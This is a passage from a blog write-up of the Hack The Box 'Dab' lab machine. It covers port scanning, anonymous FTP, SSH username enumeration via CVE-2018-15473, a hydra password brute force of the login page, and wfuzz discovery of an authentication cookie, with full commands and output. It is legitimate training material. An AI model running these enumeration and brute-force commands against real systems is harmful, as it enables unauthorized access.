{"id":1136,"date":"2019-02-02T17:15:33","date_gmt":"2019-02-02T17:15:33","guid":{"rendered":"https:\/\/devel0pment.de\/?p=1136"},"modified":"2019-02-02T17:15:51","modified_gmt":"2019-02-02T17:15:51","slug":"hack-the-box-dab","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=1136","title":{"rendered":"Hack The Box &#8211; Dab"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1162\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/htb.png\" alt=\"\" width=\"462\" height=\"153\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/htb.png 462w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/htb-300x99.png 300w\" sizes=\"(max-width: 462px) 100vw, 462px\" \/><\/p>\n<p>This article contains my first writeup on a machine from <a href=\"https:\/\/www.hackthebox.eu\" target=\"_new\">Hack The Box<\/a>. If you have not checked out <i>Hack The Box<\/i> yet, I really suggest you do. Aside from providing classical CTF-style challenges, the plattform hosts plenty of vulnerable machines (<i>boxes<\/i>), which are supposed to be exploited. The boxes tend to be geared to realistic scenarios and are thus an awesome opportunity to increase your own pen testing skills.<\/p>\n<p>In order to prove the exploitation of a machine, there are two different flag files stored on each machine. The first one to acquire is a file called <code>user.txt<\/code>, which can be read by a low privileged user. The next step after initially exploiting the machine is to escalate privileges gaining access to an administrative user (root access). With this high privileged user a second file called <code>root.txt<\/code> can be read. Both files contain a flag (an md5sum), which is supposed to be submitted on the <i>Hack The Box<\/i> website rewarding you with the corresponding points for this machine.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1159\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/dab.png\" alt=\"\" width=\"590\" height=\"319\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/dab.png 590w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/dab-300x162.png 300w\" sizes=\"(max-width: 590px) 100vw, 590px\" \/><\/p>\n<p>According to those two steps\/files the article is divided into the following sections:<\/p>\n<p>\u2192 <a href=\"https:\/\/devel0pment.de\/?p=1136#user\">User<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1136#portscan\">Port Scan<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1136#ftp21\">FTP (Port 21)<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1136#ssh22\">SSH (Port 22)<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1136#http80\">HTTP nginx (Port 80)<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1136#http8080\">HTTP nginx (Port 8080)<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1136#ssh22_2\">Back to SSH<\/a><\/p>\n<p>\u2192 <a href=\"https:\/\/devel0pment.de\/?p=1136#root\">Root<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1136#recon\">Initial Enumeration<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1136#suid\">SUID binaries<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1136#myexec\">myexec<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1136#libseclogin\">libseclogin.so<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1136#password\">myexec&#8217;s password<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1136#ldconfig\">ldconfig<\/a><br>&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1136#sharedlibrary\">Compile own shared Library<\/a><\/p>\n<p><\/p>\n<p><!--more--><\/p>\n<hr>\n<h2 id=\"user\">User<\/h2>\n<h3 id=\"portscan\">Port Scan<\/h3>\n<p>In order to get a quick overview of the most common opened ports we can run <code>nmap -sV -sC 10.10.10.86<\/code>. The option <code>-sV<\/code> enables the version detection of available services (eg. by evaluating the service&#8217;s banner). <code>-sC<\/code> makes nmap run all default scripts for the available services:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,7,23,28,32]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# nmap -sV -sC 10.10.10.86\nStarting Nmap 7.70 ( https:\/\/nmap.org ) at 2019-01-12 06:38 EST\nNmap scan report for 10.10.10.86\nHost is up (0.072s latency).\nNot shown: 996 closed ports\nPORT     STATE SERVICE VERSION\n21\/tcp   open  ftp     vsftpd 3.0.3\n| ftp-anon: Anonymous FTP login allowed (FTP code 230)\n|_-rw-r--r--    1 0        0            8803 Mar 26  2018 dab.jpg\n| ftp-syst:\n|   STAT:\n| FTP server status:\n|      Connected to ::ffff:10.10.13.93\n|      Logged in as ftp\n|      TYPE: ASCII\n|      No session bandwidth limit\n|      Session timeout in seconds is 300\n|      Control connection is plain text\n|      Data connections will be plain text\n|      At session startup, client count was 4\n|      vsFTPd 3.0.3 - secure, fast, stable\n|_End of status\n22\/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey:\n|   2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA)\n|   256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA)\n|_  256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519)\n80\/tcp   open  http    nginx 1.10.3 (Ubuntu)\n|_http-server-header: nginx\/1.10.3 (Ubuntu)\n| http-title: Login\n|_Requested resource was http:\/\/10.10.10.86\/login\n8080\/tcp open  http    nginx 1.10.3 (Ubuntu)\n|_http-open-proxy: Proxy might be redirecting requests\n|_http-server-header: nginx\/1.10.3 (Ubuntu)\n|_http-title: Internal Dev\nService Info: OSs: Unix, Linux; CPE: cpe:\/o:linux:linux_kernel\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 9.58 seconds\n\n<\/pre><\/div>\n\n<p>Since nmap only scans the 1000 most common ports by default, we should also run <code>nmap 10.10.10.86 -p-<\/code> to scan all 65535 ports. In this case this does not reveal any other open ports:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# nmap 10.10.10.86 -p-\nStarting Nmap 7.70 ( https:\/\/nmap.org ) at 2019-01-12 06:47 EST\nNmap scan report for 10.10.10.86\nHost is up (0.040s latency).\nNot shown: 65531 closed ports\nPORT     STATE SERVICE\n21\/tcp   open  ftp\n22\/tcp   open  ssh\n80\/tcp   open  http\n8080\/tcp open  http-proxy\n\nNmap done: 1 IP address (1 host up) scanned in 52.29 seconds\n\n<\/pre><\/div>\n\n<p>The output of the first scan above contains detailed information on 4 running services on port <code>21<\/code>, <code>22<\/code>, <code>80<\/code> and <code>8080<\/code>. Let&#8217;s have a closer look at each of those services.<\/p>\n<h3 id=\"ftp21\">FTP (Port 21)<\/h3>\n<p>According to the nmap output, there is a <code>vsftpd 3.0.3<\/code> listening on port 21:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n21\/tcp   open  ftp     vsftpd 3.0.3\n| ftp-anon: Anonymous FTP login allowed (FTP code 230)\n|_-rw-r--r--    1 0        0            8803 Mar 26  2018 dab.jpg\n| ftp-syst:\n|   STAT:\n| FTP server status:\n|      Connected to ::ffff:10.10.13.93\n|      Logged in as ftp\n|      TYPE: ASCII\n|      No session bandwidth limit\n|      Session timeout in seconds is 300\n|      Control connection is plain text\n|      Data connections will be plain text\n|      At session startup, client count was 4\n|      vsFTPd 3.0.3 - secure, fast, stable\n|_End of status\n\n<\/pre><\/div>\n\n<p>Since we ran nmap with default scripts enabled (<code>-sC<\/code>), it also tried to login anonymously. Obviously this was successful and the output lists a file called <code>dab.jpg<\/code>. We can confirm this by using <code>ftp<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,4,10,15]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# ftp 10.10.10.86\nConnected to 10.10.10.86.\n220 (vsFTPd 3.0.3)\nName (10.10.10.86:root): anonymous\n331 Please specify the password.\nPassword:\n230 Login successful.\nRemote system type is UNIX.\nUsing binary mode to transfer files.\nftp&gt; dir -a\n200 PORT command successful. Consider using PASV.\n150 Here comes the directory listing.\ndrwxr-xr-x    2 0        120          4096 Mar 26  2018 .\ndrwxr-xr-x    2 0        120          4096 Mar 26  2018 ..\n-rw-r--r--    1 0        0            8803 Mar 26  2018 dab.jpg\n226 Directory send OK.\n\n<\/pre><\/div>\n\n<p>For the password simply hit <code>ENTER<\/code>. We can download the file using the command <code>get dab.jpg<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1]; title: ; notranslate\" title=\"\">\nftp&gt; get dab.jpg\nlocal: dab.jpg remote: dab.jpg\n200 PORT command successful. Consider using PASV.\n150 Opening BINARY mode data connection for dab.jpg (8803 bytes).\n226 Transfer complete.\n8803 bytes received in 0.00 secs (239.8627 MB\/s)\nftp&gt; \n\n<\/pre><\/div>\n\n<p>The image itself does not seem to reveal any useful information:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1146\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/dab.jpg\" alt=\"\" width=\"151\" height=\"132\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/dab.jpg 151w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/dab-150x132.jpg 150w\" sizes=\"(max-width: 151px) 100vw, 151px\" \/><\/p>\n<p>Also the metadata, which we can inspect using <code>exiftool<\/code>, do not seem to contain something useful:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# exiftool dab.jpg \nExifTool Version Number         : 11.16\nFile Name                       : dab.jpg\nDirectory                       : .\nFile Size                       : 8.6 kB\nFile Modification Date\/Time     : 2019:01:14 08:53:28-05:00\nFile Access Date\/Time           : 2019:01:14 08:53:28-05:00\nFile Inode Change Date\/Time     : 2019:01:14 08:53:28-05:00\nFile Permissions                : rw-r--r--\nFile Type                       : JPEG\nFile Type Extension             : jpg\nMIME Type                       : image\/jpeg\nJFIF Version                    : 1.01\nResolution Unit                 : inches\nX Resolution                    : 96\nY Resolution                    : 96\nImage Width                     : 151\nImage Height                    : 132\nEncoding Process                : Baseline DCT, Huffman coding\nBits Per Sample                 : 8\nColor Components                : 3\nY Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)\nImage Size                      : 151x132\nMegapixels                      : 0.020\n\n<\/pre><\/div>\n\n<p>A common quick win to reveal <i>hidden<\/i> information in a file is to use <code>strings<\/code> or <code>binwalk<\/code>. Though in this case, there is nothing interesting here:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# strings dab.jpg \nJFIF\n$3br\n%&amp;&#039;()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz\n\t#3R\n&amp;&#039;()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz\nU,Za+M\n@gyX\ngztU\n~QEjE\nNBPt\n...\n\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,5]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# binwalk dab.jpg \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             JPEG image data, JFIF standard 1.01\n\n\n<\/pre><\/div>\n\n<p>As a next step we could try steganography tools like <code>steghide<\/code> or <code>stegoVeritas<\/code>. Since there are more services to look at, we proceed with those first.<\/p>\n<h3 id=\"ssh22\">SSH (Port 22)<\/h3>\n<p>According to the nmap output, the server is running <code>OpenSSH 7.2p2<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n22\/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey:\n|   2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA)\n|   256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA)\n|_  256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519)\n\n<\/pre><\/div>\n\n<p>This version is vulnerable to <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2018-15473\" target=\"_new\">CVE-2018-15473<\/a>, which can be used to determine if a given username exists or not. This can for example be done using <a href=\"https:\/\/www.exploit-db.com\/exploits\/45210\" target=\"_new\">this script<\/a>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:\/opt\/ssh-user-enum# .\/ssh-check-username.py 10.10.10.86 root\n&#x5B;+] Valid username\nroot@kali:\/opt\/ssh-user-enum# .\/ssh-check-username.py 10.10.10.86 www-data\n&#x5B;+] Valid username\nroot@kali:\/opt\/ssh-user-enum# .\/ssh-check-username.py 10.10.10.86 ftp\n&#x5B;+] Valid username\nroot@kali:\/opt\/ssh-user-enum# .\/ssh-check-username.py 10.10.10.86 dab\n&#x5B;*] Invalid username\nroot@kali:\/opt\/ssh-user-enum# .\/ssh-check-username.py 10.10.10.86 user\n&#x5B;*] Invalid username\n\n<\/pre><\/div>\n\n<p>Despite of verifying some common usernames this does not gives us a great advantage for now. So let&#8217;s proceed with the next service.<\/p>\n<h3 id=\"http80\">HTTP nginx (Port 80)<\/h3>\n<p>On port 80 a nginx webserver is listening:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n80\/tcp   open  http    nginx 1.10.3 (Ubuntu)\n|_http-server-header: nginx\/1.10.3 (Ubuntu)\n| http-title: Login\n|_Requested resource was http:\/\/10.10.10.86\/login\n\n<\/pre><\/div>\n\n<p>Accessing the website, we are redirected to a login page at <code>\/login<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1147\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img01.png\" alt=\"\" width=\"692\" height=\"286\" style=\"border:1px solid black;\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img01.png 692w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img01-300x124.png 300w\" sizes=\"(max-width: 692px) 100vw, 692px\" \/><\/p>\n<p>Using default credentials (<code>admin<\/code> \/ <code>admin<\/code>) displays the error message <code>Error: Login failed<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1148\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img02.png\" alt=\"\" width=\"671\" height=\"323\" style=\"border:1px solid black;\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img02.png 671w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img02-300x144.png 300w\" sizes=\"(max-width: 671px) 100vw, 671px\" \/><\/p>\n<p>In order to find a valid login we can use <code>hydra<\/code> using a password wordlist from <a href=\"https:\/\/github.com\/danielmiessler\/SecLists\" target=\"_new\">SecLists<\/a>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,7]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# hydra 10.10.10.86 -l admin -P \/usr\/share\/wordlists\/SecLists\/Passwords\/probable-v2-top12000.txt http-post-form &quot;\/login:username=^USER^&amp;password=^PASS^:Login failed&quot;\nHydra v8.6 (c) 2017 by van Hauser\/THC - Please do not use in military or secret service organizations, or for illegal purposes.\n\nHydra (http:\/\/www.thc.org\/thc-hydra) starting at 2019-01-15 01:01:49\n&#x5B;DATA] max 16 tasks per 1 server, overall 16 tasks, 12645 login tries (l:1\/p:12645), ~791 tries per task\n&#x5B;DATA] attacking http-post-form:\/\/10.10.10.86:80\/\/login:username=^USER^&amp;password=^PASS^:Login failed\n&#x5B;80]&#x5B;http-post-form] host: 10.10.10.86   login: admin   password: Password1\n1 of 1 target successfully completed, 1 valid password found\nHydra (http:\/\/www.thc.org\/thc-hydra) finished at 2019-01-15 01:02:32\n\n<\/pre><\/div>\n\n<p>A quick explaination of the used options:<\/p>\n<table>\n<tbody>\n<tr style=\"font-weight: bold;\">\n<td>Option<\/td>\n<td>Description<\/td>\n<\/tr>\n<tr>\n<td><code>-l admin<\/code><\/td>\n<td>For every login attempt use the username &#8220;admin&#8221;.<\/td>\n<\/tr>\n<tr>\n<td><code>-P \/usr\/share\/wordlists\/...<\/code><\/td>\n<td>For the password use words from the given wordlist.<\/td>\n<\/tr>\n<tr>\n<td><code>http-post-form<\/code><\/td>\n<td>The request method is POST.<\/td>\n<\/tr>\n<tr>\n<td><code>\"\/login:username=^USER^&amp;password=^PASS^:Login failed\"\"<\/code><\/td>\n<td>The request URL is <code>\/login<\/code>. The POST parameters are <code>username<\/code> and <code>password<\/code>, which are set by hydra. A failed login attempt can be identified by the string &#8220;Login failed&#8221;<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>With the credentials revealed by hydra (<code>admin<\/code> \/ <code>Password1<\/code>) we can login to the page, which simply lists a bunch of stock items:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1149\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img03.png\" alt=\"\" width=\"671\" height=\"658\" style=\"border:1px solid black;\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img03.png 671w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img03-300x294.png 300w\" sizes=\"(max-width: 671px) 100vw, 671px\" \/><\/p>\n<p>Aside of a debug comment in the sourcecode stating that the data tables were loaded from MySQL, there is nothing really noticeable:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: xml; gutter: false; highlight: [12]; title: ; notranslate\" title=\"\">\n&lt;html&gt;\n  &lt;head&gt;\n    &lt;title&gt;Items in stock&lt;\/title&gt;\n    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;\n  &lt;\/head&gt;\n  &lt;body&gt;\n    &lt;div class=&quot;container&quot;&gt;\n      &lt;h2&gt;Welcome admin&lt;\/h2&gt;\n      &lt;a href=&quot;\/logout&quot;&gt;Logout&lt;\/a&gt;\n      \n      &lt;h3&gt;Items in stock (database updated every few hours)&lt;\/h3&gt;\n      &lt;!-- Debug... data tables were loaded from : MySQL DB --&gt;\n      &lt;table&gt;\n      &lt;thead&gt;\n      &lt;th&gt;\n        &lt;tr&gt;\n          &lt;th&gt;Item&lt;\/th&gt;\n          &lt;th&gt;Qty&lt;\/th&gt;\n        &lt;\/tr&gt;\n       &lt;\/th&gt;\n       &lt;\/thead&gt;\n       &lt;tbody&gt;\n\n<\/pre><\/div>\n\n<p>When we reload the page, the ordering of the stock items changes and the comment in the sourcecode now states <code>Debug... data tables were loaded from : Cache<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: xml; gutter: false; highlight: [12]; title: ; notranslate\" title=\"\">\n&lt;html&gt;\n  &lt;head&gt;\n    &lt;title&gt;Items in stock&lt;\/title&gt;\n    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;\n  &lt;\/head&gt;\n  &lt;body&gt;\n    &lt;div class=&quot;container&quot;&gt;\n      &lt;h2&gt;Welcome admin&lt;\/h2&gt;\n      &lt;a href=&quot;\/logout&quot;&gt;Logout&lt;\/a&gt;\n      \n      &lt;h3&gt;Items in stock (database updated every few hours)&lt;\/h3&gt;\n      &lt;!-- Debug... data tables were loaded from : Cache --&gt;\n      &lt;table&gt;\n\n<\/pre><\/div>\n\n<p>Since there does not seem to be any other functionalities, let&#8217;s keep the sightings in mind and proceed with the next service.<\/p>\n<h3 id=\"http8080\">HTTP nginx (Port 8080)<\/h3>\n<p>There is another nginx webserver listening on port 8080:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n8080\/tcp open  http    nginx 1.10.3 (Ubuntu)\n|_http-open-proxy: Proxy might be redirecting requests\n|_http-server-header: nginx\/1.10.3 (Ubuntu)\n|_http-title: Internal Dev\n\n<\/pre><\/div>\n\n<p>The website&#8217;s title is called <code>Internal Dev<\/code> displaying the error message <code>Access denied: password authentication cookie not set<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1150\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img04.png\" alt=\"\" width=\"671\" height=\"234\" style=\"border:1px solid black;\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img04.png 671w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img04-300x105.png 300w\" sizes=\"(max-width: 671px) 100vw, 671px\" \/><\/p>\n<p>Obviously we need to set an authentication cookie to access the page. Since we do not know the name of the cookie, we can use <code>wfuzz<\/code> to try different cookies and observe the server&#8217;s response:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# wfuzz -w \/usr\/share\/wordlists\/SecLists\/Discovery\/Web-Content\/burp-parameter-names.txt -b &#039;FUZZ=1&#039; http:\/\/10.10.10.86:8080\n\nWarning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#039;s documentation for more information.\n\n********************************************************\n* Wfuzz 2.3 - The Web Fuzzer                           *\n********************************************************\n\nTarget: http:\/\/10.10.10.86:8080\/\nTotal requests: 2588\n\n==================================================================\nID   Response   Lines      Word         Chars          Payload    \n==================================================================\n\n000001:  C=200     14 L\t      30 W\t    322 Ch\t  &quot;id&quot;\n000002:  C=200     14 L\t      30 W\t    322 Ch\t  &quot;action&quot;\n000003:  C=200     14 L\t      30 W\t    322 Ch\t  &quot;page&quot;\n000004:  C=200     14 L\t      30 W\t    322 Ch\t  &quot;name&quot;\n000005:  C=200     14 L\t      29 W\t    324 Ch\t  &quot;password&quot;\n000006:  C=200     14 L\t      30 W\t    322 Ch\t  &quot;url&quot;\n000007:  C=200     14 L\t      30 W\t    322 Ch\t  &quot;email&quot;\n000008:  C=200     14 L\t      30 W\t    322 Ch\t  &quot;type&quot;\n000009:  C=200     14 L\t      30 W\t    322 Ch\t  &quot;username&quot;\n000010:  C=200     14 L\t      30 W\t    322 Ch\t  &quot;file&quot;\n000011:  C=200     14 L\t      30 W\t    322 Ch\t  &quot;title&quot;\n000012:  C=200     14 L\t      30 W\t    322 Ch\t  &quot;code&quot;\n...\n\n<\/pre><\/div>\n\n<p>A quick explaination of the used options:<\/p>\n<table>\n<tbody>\n<tr style=\"font-weight:bold;\">\n<td>Option<\/td>\n<td>Description<\/td>\n<\/tr>\n<tr>\n<td><code>-w \/usr\/share\/wordlists\/...<\/code><\/td>\n<td>The wordlist to use for fuzzing (this this case <code>burp-parameter-names.txt<\/code>).<\/td>\n<\/tr>\n<tr>\n<td><code>-b 'FUZZ=1'<\/code><\/td>\n<td>Set a cookie in the request. For the name use the fuzz input from the given wordlist.<\/td>\n<\/tr>\n<tr>\n<td><code>http:\/\/10.10.10.86:8080<\/code><\/td>\n<td>The URL to fuzz.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Within every line wfuzz reports how the server responded for a specific payload (cookie name) displaying the status code (e.g. <code>C=200<\/code>), the line count (e.g. <code>14 L<\/code>), the word count (e.g. <code>30 W<\/code>) and the character count (e.g. <code>322 Ch<\/code>). Intently examining the first lines of output we can already see, that the response for the payload <code>password<\/code> differs from the others (<code>29 W, 324 Ch<\/code>). In order to make different responses like this stick out, we can set a filter. By providing the option <code>--hh 322<\/code> we can for example hide responses, which contain exactely 322 characters:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,16]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# wfuzz --hh 322 -w \/usr\/share\/wordlists\/SecLists\/Discovery\/Web-Content\/burp-parameter-names.txt -b &#039;FUZZ=1&#039; http:\/\/10.10.10.86:8080\n\nWarning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#039;s documentation for more information.\n\n********************************************************\n* Wfuzz 2.3 - The Web Fuzzer                           *\n********************************************************\n\nTarget: http:\/\/10.10.10.86:8080\/\nTotal requests: 2588\n\n==================================================================\nID   Response   Lines      Word         Chars          Payload    \n==================================================================\n\n000005:  C=200     14 L\t      29 W\t    324 Ch\t  &quot;password&quot;\n\nTotal time: 7.577409\nProcessed Requests: 2588\nFiltered Requests: 2587\nRequests\/sec.: 341.5415\n\n<\/pre><\/div>\n\n<p>Using the filter we can see at a glance that the payload <code>password<\/code> differs from the others. Now we can make a request setting a cookie named <code>password<\/code> and see what the response actually contains:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,12]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# curl http:\/\/10.10.10.86:8080 --cookie &quot;password=1&quot;\n&lt;!DOCTYPE html&gt;\n&lt;html lang=&quot;en&quot;&gt;\n&lt;head&gt;\n&lt;title&gt;Internal Dev&lt;\/title&gt;\n\t&lt;meta charset=&quot;UTF-8&quot;&gt;\n\t&lt;meta name=&quot;viewport&quot; content=&quot;initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width&quot;&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;div class=&quot;container wrapper&quot;&gt;\n\nAccess denied: password authentication cookie incorrect\n\n&lt;\/div&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n\n<\/pre><\/div>\n\n<p>There is another error message: <code>Access denied: password authentication cookie incorrect<\/code>. This means that the name of the cookie (<code>password<\/code>) is correct, but the value (we simply supplied 1 here) is not correct. Again we can use <code>wfuzz<\/code> to fuzz the actual value. This time we hide responses containing 324 characters:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,16]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# wfuzz --hh 324 -w \/usr\/share\/wordlists\/SecLists\/Discovery\/Web-Content\/burp-parameter-names.txt -b &#039;password=FUZZ&#039; http:\/\/10.10.10.86:8080\n\nWarning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#039;s documentation for more information.\n\n********************************************************\n* Wfuzz 2.3 - The Web Fuzzer                           *\n********************************************************\n\nTarget: http:\/\/10.10.10.86:8080\/\nTotal requests: 2588\n\n==================================================================\nID   Response   Lines      Word         Chars          Payload    \n==================================================================\n\n000190:  C=200     21 L\t      48 W\t    540 Ch\t  &quot;secret&quot;\n\nTotal time: 7.729689\nProcessed Requests: 2588\nFiltered Requests: 2587\nRequests\/sec.: 334.8129\n\n<\/pre><\/div>\n\n<p>Yet again, there is a reponse sticking out. This time for the payload <code>secret<\/code>. Let&#8217;s make the corresponding request and inspect the response&#8217;s content:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# curl http:\/\/10.10.10.86:8080 --cookie &quot;password=secret&quot;\n&lt;!DOCTYPE html&gt;\n&lt;html lang=&quot;en&quot;&gt;\n&lt;head&gt;\n&lt;title&gt;Internal Dev&lt;\/title&gt;\n\t&lt;meta charset=&quot;UTF-8&quot;&gt;\n\t&lt;meta name=&quot;viewport&quot; content=&quot;initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width&quot;&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;div class=&quot;container 